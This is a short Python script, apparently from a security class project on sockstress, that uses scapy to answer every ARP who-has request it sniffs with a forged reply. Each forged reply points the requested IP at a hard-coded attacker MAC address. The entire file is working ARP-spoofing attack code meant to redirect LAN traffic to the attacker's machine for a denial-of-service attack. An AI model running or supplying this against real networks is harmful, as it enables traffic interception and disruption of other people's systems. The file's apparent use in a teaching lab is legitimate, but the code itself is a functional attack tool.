arppoi, from http://samsclass.info/123/proj10/sockstress.htm

arppoi.py

#!/usr/bin/env python
import sys
from scapy.all import *

MAC = "00:0c:29:bf:b0:5a"  # MAC Addr of Sockstress Attacker

def findARP(p):
  op = p.sprintf("%ARP.op%")
  if op == "who-has":                   # Only respond to ARP Requests
          psrc = p.sprintf("%ARP.psrc%")
          pdst = p.sprintf("%ARP.pdst%")
          print "ARP detected: ", op, " ", pdst, " tell ", psrc
          B = ARP()
          B.op = "is-at"
          B.pdst = psrc
          B.psrc = pdst
          B.hwsrc = MAC 
          B.hwdst = "ff:ff:ff:ff:ff:ff"
          print "Sending ", B.summary()
          send(B/Padding("X"*18))
sniff(prn=findARP)